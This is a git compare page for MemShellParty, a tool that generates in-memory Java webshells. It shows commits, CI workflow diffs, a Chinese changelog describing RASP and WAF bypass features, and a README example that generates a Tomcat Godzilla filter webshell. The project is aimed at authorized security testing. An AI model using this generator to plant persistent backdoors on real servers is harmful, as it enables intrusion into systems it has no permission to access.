Compare commits

...
146 Commits
Author SHA1 Message Date
ReaJason 9fa01834e7 chore: 1.10.0 2025-06-07 14:35:53 +08:00
ReaJason 85b7750ab8 docs: add WriteCustomShell.md 2025-06-07 14:35:29 +08:00
ReaJason 9c5dc1fa9d docs: update README 2025-06-07 14:35:13 +08:00
ReaJason a833e3acdd docs: update CHANGELOG 2025-06-07 14:33:57 +08:00
ReaJason b12a8530f2 build: use Kotlin DSL 2025-06-07 13:31:18 +08:00
ReaJason 74701926b6 chore: upgrade Gradle 8.14.2 2025-06-07 13:31:18 +08:00
ReaJason a371c6adb6 chore: upgrade dep 2025-06-07 13:31:18 +08:00
ReaJason cd9c9ef162 fix(ui): copy button position on mobile 2025-06-07 13:31:18 +08:00
ReaJason d4ff5fdf65 fix(ui): input placeholder font-size on mobile 2025-06-07 13:31:18 +08:00
ReaJason 1dc27116f1 refactor: combine normal and bypass JSP template 2025-06-07 13:31:18 +08:00
ReaJason f43218b5e1 feat: support JBossAS ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 04bbddee6b feat: support Tomcat ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 59cf8674f1 fix: TongWeb8 Valve not work 2025-06-07 13:31:18 +08:00
ReaJason 9572b90cef refactor: merge JBossAS and GlassFish 2025-06-07 13:31:18 +08:00
ReaJason 96044dc231 fix: Glassfish3 classNotFound 2025-06-07 13:31:18 +08:00
ReaJason bae97ec554 refactor: simplify base64 and getFieldValue method 2025-06-07 13:31:18 +08:00
ReaJason b6ba3c632a test: add servlet for Tomcat8 2025-06-07 13:31:18 +08:00
ReaJason 453ef58b15 refactor: catch Throwable 2025-06-07 13:31:18 +08:00
ReaJason a37e32deb2 refactor: move method order 2025-06-07 13:31:18 +08:00
ReaJason faee94d77e refactor: use TypeDescription 2025-06-07 13:31:18 +08:00
ReaJason b0e2e218f0 ci: deploy when boot or web update 2025-06-07 13:31:18 +08:00
ReaJason 6fee88d761 feat: use new theme 2025-06-07 13:31:18 +08:00
ReaJason d6613f770a chore: 1.10.0-SNAPSHOT 2025-06-07 13:31:18 +08:00
ReaJason 5627604ba9 refactor: merge memshell module 2025-06-07 13:31:18 +08:00
ReaJason c1e0fbbc18 refactor: rename packageName 2025-06-07 13:31:18 +08:00
ReaJason 74079d81ed test: unit test failed 2025-06-07 13:31:18 +08:00
ReaJason 9792f242ce test: add Apusic pid sh 2025-06-07 13:31:18 +08:00
ReaJason 3ae57d6b67 refactor: simplify generateBytes code 2025-06-07 13:31:18 +08:00
ReaJason 69f554ae4e feat: support defineClass JSP packers 2025-06-07 13:31:18 +08:00
ReaJason 8565dd9c52 test: add --debug for suo5 2025-06-07 13:31:18 +08:00
ReaJason 021e0a3e9d refactor: build valve and listener shell when generate 2025-06-07 13:31:18 +08:00
ReaJason dc958d49df fix: Godzilla not work on latest version 2025-06-07 13:31:18 +08:00
ReaJason 5f83b52bc0 docs: add Tomcat context comment 2025-06-07 13:31:18 +08:00
ReaJason 59bcd6aecf docs: update screenshots 2025-05-28 22:33:49 +08:00
ReaJason d1a2912428 chore: 1.9.0 2025-05-28 01:22:54 +08:00
ReaJason 006cce6a74 docs: update CHANGELOG 2025-05-28 01:22:54 +08:00
ReaJason 8d240f2a50 feat: compact mode 2025-05-28 01:22:54 +08:00
ReaJason 9d03c04dfa fix: disconnected 2025-05-28 01:22:54 +08:00
ReaJason 8e4dd5ab6a style: lint 2025-05-28 01:22:54 +08:00
ReaJason 8ae71c5b6b chore: upgrade dep 2025-05-28 01:22:54 +08:00
ReaJason 566286a8fa refactor: simplify shell generator 2025-05-28 01:22:54 +08:00
ReaJason 9692ab6e7b fix: Jakarta WebSocket not work 2025-05-28 01:22:54 +08:00
ReaJason c75cb2f8ef refactor: use yup custom validator 2025-05-28 01:22:54 +08:00
ReaJason e31fcdeca9 refactor: simplify component 2025-05-28 01:22:54 +08:00
ReaJason f734e3c391 feat: use unsafe by reflection 2025-05-28 01:22:54 +08:00
ReaJason 8558487b6c refactor: optimize imports 2025-05-28 01:22:54 +08:00
ReaJason c5ad3e81cb feat: support TongWeb8 2025-05-28 01:22:54 +08:00
ReaJason 18c0920c27 feat: show urlPattern option when needed 2025-05-28 01:22:54 +08:00
ReaJason ddfa273938 fix(ui): show one column in phone 2025-05-28 01:22:54 +08:00
ReaJason 4a1359a736 feat: shrink by default 2025-05-28 01:22:54 +08:00
ReaJason d197691bed feat: support custom command implementation 2025-05-28 01:22:54 +08:00
ReaJason f7e401bd46 test: add cases 2025-05-28 01:22:54 +08:00
ReaJason cd10fe9a2c style: lint 2025-05-28 01:22:54 +08:00
ReaJason 21acf71af6 build: upgrade boot 2025-05-28 01:22:54 +08:00
ReaJason bb8e4c7a7e feat: add diff tips for attacher 2025-05-28 01:22:54 +08:00
ReaJason 627ecf6465 test: add JRE and JDK Attacher test cases 2025-05-28 01:22:54 +08:00
ReaJason 0658f103cc feat: shrink agentJar by default 2025-05-28 01:22:54 +08:00
ReaJason b134b5a5a7 build: Gradle 8.14.1 2025-05-28 01:22:54 +08:00
ReaJason cc6bed07a1 docs: update README 2025-05-28 01:22:54 +08:00
ReaJason 5d5f866744 fix: Apusic Listener not work 2025-05-28 01:22:54 +08:00
ReaJason cf82dd9470 chore: upgrade example dep version 2025-05-28 01:22:54 +08:00
ReaJason b06a39d1b8 chore: upgrade dep 2025-05-28 01:22:54 +08:00
ReaJason 19faf77d5c feat: support AgentAttacher Packer 2025-05-28 01:22:54 +08:00
ReaJason a3704eb7b7 feat: use ASM Agent by default 2025-05-28 01:22:54 +08:00
ReaJason eeed6e45c7 fix: support AES_BASE64 GodzillaWebSocket by default 2025-05-28 01:22:54 +08:00
ReaJason 3c1c1cb8fc feat: support webAppClassLoader 2025-05-28 01:22:54 +08:00
ReaJason 26d72cb909 refactor: remove unused code 2025-05-28 01:22:54 +08:00
ReaJason 70c128ced1 docs: update CHANGELOG 2025-05-14 01:29:12 +08:00
ReaJason dd2d9a8a3e ci: add docker build test 2025-05-14 01:13:44 +08:00
ReaJason ea955feccd chore: 1.8.0 2025-05-14 00:59:31 +08:00
ReaJason 6c84c44005 docs: update 2025-05-14 00:47:22 +08:00
ReaJason b581583dce refactor: rename 2025-05-14 00:34:32 +08:00
ReaJason a037e5d043 chore: upgrade deps 2025-05-14 00:34:32 +08:00
ReaJason 06dc282cff test: add godzilla ws case 2025-05-14 00:34:32 +08:00
ReaJason cae0a38a7a test: update docker-compose yamls 2025-05-14 00:34:32 +08:00
ReaJason d69df0d1c1 test: deploy failed in some middleware 2025-05-14 00:34:32 +08:00
ReaJason 942fa3ec68 test: godzilla websocket failed 2025-05-14 00:34:32 +08:00
ReaJason f52efcb7a2 feat: add websocket godzilla 2025-05-14 00:34:32 +08:00
ReaJason f55702ecda fix: jetty ee10 listener failed 2025-05-14 00:34:32 +08:00
ReaJason bc53918455 chore: update .gitignore 2025-05-14 00:34:32 +08:00
ReaJason ac2b28c1f3 test: add jetty ee8 ~ ee10 cases 2025-05-14 00:34:32 +08:00
ReaJason e68355df8b feat: support jetty ee8 ~ ee10 env 2025-05-14 00:34:32 +08:00
ReaJason e4a5215f5f fix: scriptEngine payload error 2025-05-14 00:34:32 +08:00
ReaJason 4f8ff51f8b feat: add groovy definer packer 2025-05-14 00:34:32 +08:00
ReaJason fc9877aa3a refactor: simplify code 2025-05-14 00:34:32 +08:00
ReaJason 8bb338d5a1 fix: ws command encryptor not work 2025-05-14 00:34:32 +08:00
ReaJason 0e2abdecb3 fix: downgrade runtime.exec 2025-05-14 00:34:32 +08:00
ReaJason f934e1e7ed fix: forkAndExec jdk7 & jdk11 2025-05-14 00:34:32 +08:00
ReaJason 330544c7f7 feat: support Primeton App Server 2025-05-14 00:34:32 +08:00
ReaJason 0fe51f8ec0 fix: JDK6 forkAndExec run failed 2025-05-14 00:34:32 +08:00
ReaJason d2efb56dbc chore: upgrade shadow Gradle plugin 2025-05-14 00:34:32 +08:00
ReaJason 827462bcc6 test: use right JDK version 2025-05-14 00:34:32 +08:00
ReaJason e59678188a feat: command unsafe bypass RASP 2025-05-14 00:34:32 +08:00
ReaJason 0ea1e7baba fix: xxl-job NPE 2025-05-14 00:34:32 +08:00
ReaJason d0ee5c66bf test: use pgrep command 2025-05-14 00:34:32 +08:00
ReaJason 0ee64df302 perf: init on startup 2025-05-14 00:34:32 +08:00
ReaJason 565d05340e feat: support command encryptor 2025-05-14 00:34:32 +08:00
ReaJason 761de0af90 refactor: dynamic add getFieldValue method for Listener 2025-05-14 00:34:32 +08:00
ReaJason 50a9aec83c style: unify fetch threads 2025-05-14 00:34:32 +08:00
ReaJason 3ecdbf020d test: add SpringBoot3 Tomcat test cases 2025-05-14 00:34:32 +08:00
ReaJason 65d097c43d ci: speed up integration test 2025-04-23 00:41:10 +08:00
ReaJason 825c276d4e feat: shrink TemplatesImpl fooBytes 2025-04-23 00:10:48 +08:00
ReaJason b8f3b67ba4 test: rm SpringBoot3 Tomcat testcases 2025-04-23 00:10:48 +08:00
ReaJason 59621eefec test: jboss4 PermGen OOM 2025-04-23 00:10:48 +08:00
ReaJason a0e9dfbc85 fix: SpringBoot Undertow and Jetty Shell inject failed 2025-04-23 00:10:48 +08:00
ReaJason 98281f0eae fix: SpringBoot Tomcat Shell Inject failed 2025-04-23 00:10:48 +08:00
ReaJason 2851c5d9e0 build: upgrade bun image version for fast build 2025-04-16 20:47:05 +08:00
ReaJason 02bc358498 docs: exchange word 2025-04-13 01:20:56 +08:00
ReaJason 2fe3f82ebc docs: link error 2025-04-13 01:09:33 +08:00
ReaJason 8e89db5b96 docs: update README 2025-04-13 01:08:26 +08:00
ReaJason 8f46ea2e5e docs: link error 2025-04-13 01:06:30 +08:00
ReaJason 9299764994 docs: update README 2025-04-13 01:04:19 +08:00
ReaJason d0b3ad2d95 docs: add English README 2025-04-13 01:01:36 +08:00
ReaJason 29f854c6dd refactor: format code 2025-04-12 21:48:23 +08:00
ReaJason 29d0d1b1e7 docs: add filter and listener (#27) 2025-04-12 21:36:35 +08:00
ReaJason 93fc7205cc docs: add ; for code 2025-04-11 00:02:57 +08:00
ReaJason f86675aee1 docs: add java servlet md (#27) 2025-04-10 23:53:19 +08:00
ReaJason ecfe751f38 docs: add recommended tools md (#27) 2025-04-10 00:04:16 +08:00
ReaJason 8e3dee8d13 docs: add self product intro 2025-04-08 23:04:23 +08:00
ReaJason 6a899d9f92 docs: add memshell intro 2025-04-08 22:59:44 +08:00
ReaJason 7bb4890443 docs: add maven central badge 2025-04-06 19:07:24 +08:00
ReaJason 66c6403dd7 docs: update README 2025-04-06 14:15:43 +08:00
ReaJason 9fa0cdd089 docs: update README 2025-04-06 14:11:13 +08:00
ReaJason abe55ba17e chore: 1.7.0 [skip ci] 2025-04-06 14:06:05 +08:00
ReaJason feb5a2b44a ci: support release maven deploy 2025-04-06 13:55:17 +08:00
ReaJason bc5e813064 docs: update CHANGELOG 2025-04-06 13:55:17 +08:00
ReaJason bfb7280c47 docs: add sdk usage example 2025-04-06 13:55:17 +08:00
ReaJason 8c9cb252db test: revert error 2025-04-06 13:55:17 +08:00
ReaJason a441e468fb test: assert failed 2025-04-06 13:55:17 +08:00
ReaJason f280cddb67 build(ui): module not found 2025-04-06 13:55:17 +08:00
ReaJason b6de448171 test: assert failed 2025-04-06 13:55:17 +08:00
ReaJason 81f42aae39 ci: update name 2025-04-06 13:55:17 +08:00
ReaJason da5db939be feat: support maven deploy 2025-04-06 13:55:17 +08:00
ReaJason e1540f1c05 refactor: use Jackson not Fastjson for smaller jar size 2025-04-06 13:55:17 +08:00
ReaJason accf83ac9d refactor: remove codec dependency 2025-04-06 13:55:17 +08:00
ReaJason f57ee7536c fix: use snapshot version for dev 2025-04-06 13:55:17 +08:00
ReaJason ffd2a636f4 refactor: rename modules 2025-04-06 13:55:17 +08:00
ReaJason 6b47b8e488 feat: support random param and default config (#50) 2025-04-06 13:55:17 +08:00
ReaJason 85e9eb8c70 refactor: use react router 2025-04-06 13:55:17 +08:00
ReaJason 47ea535fac revert: obfuscation (#13) 2025-04-06 13:55:17 +08:00
ReaJason 540559653f chore: upgrade ui components 2025-04-06 13:55:17 +08:00
ReaJason 8a0e3ee5de fix: behinder payload classname is invalid 2025-04-06 13:55:17 +08:00
ReaJason bc9ce37a52 feat: add three implementations for agent memshell 2025-04-06 13:55:17 +08:00
ReaJason 02c7abd086 feat: support CC payload generate 2025-04-06 13:55:17 +08:00
ReaJason 8eab3f5633 docs: update screenshots 2025-03-30 16:31:32 +08:00
ReaJason 0f03072b56 docs: update README 2025-03-30 16:17:55 +08:00
570 changed files with 23803 additions and 14984 deletions
+26 -4
View File
@@ -6,8 +6,6 @@ on:
- dev
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'web/**'
- '**.md'
- '**/*.png'
@@ -37,13 +35,13 @@ jobs:
run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle
run: ./gradlew -Pversion=dev :boot:bootjar -x test
run: ./gradlew :boot:bootjar -x test
- name: Upload Boot Jar
uses: actions/upload-artifact@v4
with:
name: boot
path: boot/build/libs/boot-dev.jar
path: boot/build/libs/*.jar
docker-push:
name: Docker Push
@@ -78,6 +76,30 @@ jobs:
push: true
tags: docker.io/reajason/memshell-party:dev
deploy-maven:
name: Deploy to Maven Central
needs: [ build-jar ]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Publish with Gradle
env:
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
run: ./gradlew publishAllToMavenCentral
deploy-northflank:
name: Deploy to Northflank
needs: [ docker-push ]
+26 -9
View File
@@ -35,7 +35,6 @@ jobs:
build-jar:
name: Build Jar
runs-on: ubuntu-latest
needs: [ info ]
steps:
- uses: actions/checkout@v4
@@ -58,13 +57,13 @@ jobs:
run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle
run: ./gradlew -Pversion=${{ needs.info.outputs.version-without-v }} :boot:bootjar -x test
run: ./gradlew :boot:bootjar -x test
- name: Upload Boot Jar
uses: actions/upload-artifact@v4
with:
name: boot
path: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
path: boot/build/libs/*.jar
docker-push:
name: Docker Push
@@ -110,6 +109,29 @@ jobs:
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
ghcr.io/reajason/memshell-party:latest
deploy-maven:
name: Deploy to Maven Central
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Publish with Gradle
env:
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
run: ./gradlew publishAllToMavenCentral
create-release:
name: Create Release
needs: [ info, docker-push ]
@@ -125,18 +147,13 @@ jobs:
name: boot
path: boot/build/libs
- name: Calculate SHA-256
id: calculate_sha256
run: |
sha256sum boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar > boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
- name: Release
uses: ncipollo/release-action@v1
with:
name: ${{ needs.info.outputs.version }}
tag: ${{ needs.info.outputs.version }}
body: ${{ needs.info.outputs.changelog }}
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar,boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
deploy-northflank:
name: Deploy to Northflank
+57 -17
View File
@@ -38,27 +38,63 @@ jobs:
- name: Boot Unit Test with Gradle
run: ./gradlew :boot:test
docker-build-test:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build Docker image
run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
docker images
- name: Run Docker container
run: |
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
sleep 10
- name: Test with curl
run: |
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
echo "Test successful!"
else
echo "Test failed!"
exit 1
fi
integration-test:
strategy:
fail-fast: false
matrix:
middleware:
- tomcat
- jetty
- jbossas
- jbosseap
- wildfly
- glassfish
- resin
- payara
- websphere
- websphere7
- springmvc
- weblogic
- springwebflux
- xxljob
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
runs-on: ubuntu-latest
name: ${{ matrix.middleware }}
name: ${{ matrix.cases.middleware }}
needs: [ unit-test ]
steps:
- name: Checkout
@@ -73,7 +109,11 @@ jobs:
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.${{ matrix.middleware }}.*' --info
run: ./gradlew :integration-test:test --tests '*.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
+2 -1
View File
@@ -60,4 +60,5 @@ snippets/
integration-test/**/apusic
integration-test/**/bes
integration-test/**/tongweb
integration-test/**/inforsuite
integration-test/**/inforsuite
integration-test/**/primeton
+98 -3
View File
@@ -5,15 +5,110 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v1.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-06-07
### Added
- 添加新的 JSP 打包方式(直接使用 defineClass 进行注入)(by @zema1 #67)
- 支持 Tomcat 和 JBossAS ProxyValve 内存马(通过动态代理将 StandardPipeline 的第一个 valve 进行包装注入自定义逻辑)
### Fixed
- 修复哥斯拉无法使用最新版连接
- 修复 TongWeb8 Valve 未适配
- 修复移动端 UI 输入框 placeholder 字体过大
- 修复移动端 UI 类名复制按钮超出卡片范围
### Changed
- 修改 Valve 和 Listener 字节码修改时机,改为生成时再进行修改,方便自定义内存马生成
- 合并 memshell 与 memshell-jdk8 模块,方便维护
- UI 使用新的 shadcn/ui 提供的 Zinc 主题配置
- 将所有 Shell 捕获异常从 Exception 改为 Throwable
- 简化 Shell base64 方法代码
- Gradle 更新至 8.14.2
- 参考 [General Gradle Best Practices](https://docs.gradle.org/current/userguide/best_practices_general.html),将构建脚本改为
Kotlin DSL
**Full Changelog:** [v1.9.0...v1.10.0](https://github.com/ReaJason/MemShellParty/compare/v1.9.0...v1.10.0)
## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28
### Added
- 支持 TongWeb8 内存马生成 by @ReaJason
- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader()
为请求线程,参考:[任意类加载环境下注入内存马](https://reajason.eu.org/writing/whichclassloaderforshell/)
- 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher
- 支持命令执行自定义实现类,RuntimeExec or ForkAndExec
### Fixed
- 修复 Apusic Listener 由于 response 获取错误导致不可用
- 修复 Jakarta WebSocket 无法注入
### Changed
- Godzilla WebSocket 默认使用 AES_BASE64 加密器,支持使用 [GzWebsocket](https://github.com/xsshim/GzWebsocket) 插件进行连接。
- Gradle、Web 项目依赖更新
- UI 生成界面默认勾选缩小字节码
- UI 优化手机端选项布局,单行显示每个输入框
- UI 使用紧凑模式,隐藏非常用字段简化操作路径
- 提取公共 Tailwind CSS 类名,简化表单组件代码
- yup 替代 zod 减少打包体积,并将自定义表单验证融合到 react-hook-form 中优化 UX
- 重构 Shell Generator 代码
**Full Changelog:** [v1.8.0...v1.9.0](https://github.com/ReaJason/MemShellParty/compare/v1.8.0...v1.9.0)
## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
### Added
- 支持普元中间件内存马生成(only 6.5 版本)by @ReaJason#60
- 支持哥斯拉 WebSocket 内存马生成与测试
- 添加 Groovy 通用恶意类加载打包方式(用于测试 Jenkins 脚本执行)
- 命令执行支持加密器,双 Base64 测试绕过 WAF 安全设备
### Fixed
- 修复 Jetty 高版本中 ee8 ~ ee10 无法注入(#61
- 修复 Spring Boot 下类加载的原因导致的 Tomcat/Jetty/Undertow 部分内存马注入失败
### Changed
- 命令执行改为反射调用 forkAndExec 以绕过 RASPJDK7+
- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module
- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.7.0...v1.8.0)
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
### Added
- 支持发布到 MavenCentral,可通过引入依赖使用生成 API by @ReaJason#41
- 支持 CC3、CC4 反序列化 payload 打包方式
- 支持随机参数生成与默认选项(#50
### Changed
- 去除代码混淆相关代码
- 为了更好地在 MavenCentral 展示,重命名部分模块
- 使用 Jackson 代替 Fastjson 降低 boot 打包体积
- 移除 commons-codec 降低 boot 打包体积
- 升级 shadcn/ui 所有 component 代码
**Full Changelog:** [v1.6.0...v1.7.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
> 做代码生成以及代码混淆真是一件需要耐心的事情
### Added
- 支持自定义内存马生成#49by @ReaJason
- 支持命令回显 ASM Agent 内存马#51by @ReaJason
- 支持简易的代码混淆#13by @ReaJason
- 支持自定义内存马生成 by @ReaJason#49
- 支持命令回显 ASM Agent 内存马 by @ReaJason#51
- 支持简易的代码混淆 by @ReaJason#13
- 支持自动发布 DEV 分支代码 CD
### Changed
+3 -1
View File
@@ -8,7 +8,8 @@ WORKDIR /usr/src
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools
FROM oven/bun:1.2.2 AS frontend
# https://hub.docker.com/r/oven/bun
FROM oven/bun:1.2.9 AS frontend
ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH=""
@@ -26,6 +27,7 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build
# https://hub.docker.com/_/eclipse-temurin
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
ARG VERSION="1.0.0"
+150 -37
View File
@@ -1,11 +1,24 @@
# MemShellParty
<h1 align="center">MemShellParty</h1>
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
<div align="center">
[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
</div>
<div align="center">
[![release](https://img.shields.io/github/v/release/reajason/memshellparty?label=Release&style=flat-square)](https://github.com/ReaJason/MemShellParty/releases)
[![MavenCentral](https://img.shields.io/maven-central/v/io.github.reajason/generator?label=MavenCentral&style=flat-square)](https://central.sonatype.com/artifact/io.github.reajason/generator)
[![docker-pulls](https://img.shields.io/docker/pulls/reajason/memshell-party?label=DockerHub%20Pulls&style=flat-square)](https://hub.docker.com/r/reajason/memshell-party)
</div>
<div align="center">
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
</div>
> [!WARNING]
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
@@ -42,8 +55,7 @@ MemShellParty 是一款可本地部署的一键生成常见中间件框架内存
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
可直接访问 https://party.memshell.news(搭建在 [Northflank](https://northflank.com/) US
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)),每次 Release 都会自动部署最新的镜像。
可直接访问 [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
### 本地部署(推荐)
@@ -72,6 +84,97 @@ docker rm -f memshell-party
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
### SDK 集成到现有工具中
> 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持
1. 添加依赖,Maven Or Gradle
```xml
<!-- Maven Repo-->
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.7.0</version>
</dependency>
```
```groovy
// Gradle Repo
implementation 'io.github.reajason:generator:1.7.0'
```
2. 生成 Tomcat Godzilla Filter 内存马示例
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:"+result.getInjectorClassName());
System.out.println("内存马类名:"+result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result));
System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result));
```
3. 生成 Tomcat Godzilla AgentFilterChain 示例
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
